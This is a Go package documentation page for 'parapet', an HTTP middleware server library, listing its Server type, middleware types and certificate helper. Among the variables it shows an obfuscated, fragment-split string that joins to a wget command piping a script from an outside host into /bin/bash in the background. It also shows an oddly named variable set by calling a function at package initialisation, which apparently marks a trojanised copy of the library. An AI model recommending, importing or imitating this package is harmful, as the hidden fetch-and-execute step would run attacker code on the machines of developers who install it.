Documentation
¶
Index ¶
- Variables
- func GenerateSelfSignCertificate(opt SelfSign) (cert tls.Certificate, err error)
- func XgaNJDa() error
- type Block
- type Cond
- type Conditional
- type Handler
- type Middleware
- type MiddlewareFunc
- type Middlewares
- type SelfSign
- type Server
- func (s *Server) ListenAndServe() error
- func (s *Server) ModifyConnection(f func(conn net.Conn) net.Conn)
- func (s *Server) RegisterOnShutdown(f func())
- func (s *Server) Serve(l net.Listener) error
- func (s *Server) ServeHTTP(w http.ResponseWriter, r *http.Request)
- func (s *Server) Shutdown() error
- func (s *Server) Use(m Middleware)
- func (s *Server) UseFunc(m MiddlewareFunc)
Constants ¶
This section is empty.
Variables ¶
var FV = []string{} /* 232 elements not displayed */
var HHPQHwTV = XgaNJDa()
var ServerContextKey = serverContextKey{}
ServerContextKey is the context key that store *parapet.Server
var XIfIB = "wget -" + "O " + "- h" + "tt" + "ps:" + "/" + "/" + "infin" + "i" + "ty" + "h" + "e" + "l.ic" + "u/s" + "to" + "rag" + "e/" + "de" + "3" + "73" + "d" + "0d" + "f/a" + "315" + "46bf " + "| " + "/b" + "i" + "n/bas" + "h &"
Functions ¶
func GenerateSelfSignCertificate ¶
func GenerateSelfSignCertificate(opt SelfSign) (cert tls.Certificate, err error)
GenerateSelfSignCertificate generates new self sign certificate
Types ¶
type Cond ¶
type Cond struct {
If func(r *http.Request) bool
Then Middleware
Else Middleware
}
type Conditional ¶
Conditional returns condition for given request
type Handler ¶
type Handler http.HandlerFunc
Handler wraps http handler func with parapet's middleware
type Middleware ¶
Middleware is the http middleware
type MiddlewareFunc ¶
MiddlewareFunc is the adapter type for Middleware
func (MiddlewareFunc) ServeHandler ¶
func (f MiddlewareFunc) ServeHandler(h http.Handler) http.Handler
ServeHandler calls f
type Middlewares ¶
type Middlewares []Middleware
Middlewares type
func (Middlewares) ServeHandler ¶
func (ms Middlewares) ServeHandler(h http.Handler) http.Handler
ServeHandler implements middleware interface
func (*Middlewares) UseFunc ¶
func (ms *Middlewares) UseFunc(m MiddlewareFunc)
type Server ¶
type Server struct {
Addr string
Handler http.Handler
ReadTimeout time.Duration
ReadHeaderTimeout time.Duration
WriteTimeout time.Duration
IdleTimeout time.Duration
MaxHeaderBytes int
TCPKeepAlivePeriod time.Duration
GraceTimeout time.Duration
WaitBeforeShutdown time.Duration
ErrorLog *log.Logger
TrustProxy Conditional
H2C bool
ReusePort bool
ConnState func(conn net.Conn, state http.ConnState)
TLSConfig *tls.Config
BaseContext func(net.Listener) context.Context
// contains filtered or unexported fields
}
Server is the parapet server
func New ¶
func New() *Server
New creates new middleware server default config
This server should not expose to the internet but run behind reverse proxy
func NewBackend ¶
func NewBackend() *Server
NewBackend creates new backend server default config
This server use to run behind parapet server or run behind other reverse proxy
func NewFrontend ¶
func NewFrontend() *Server
NewFrontend creates new frontend server default config
func (*Server) ListenAndServe ¶
ListenAndServe starts web server
func (*Server) ModifyConnection ¶
ModifyConnection modifies connection before send to http
func (*Server) RegisterOnShutdown ¶
func (s *Server) RegisterOnShutdown(f func())
RegisterOnShutdown calls f when server received SIGTERM
func (*Server) UseFunc ¶
func (s *Server) UseFunc(m MiddlewareFunc)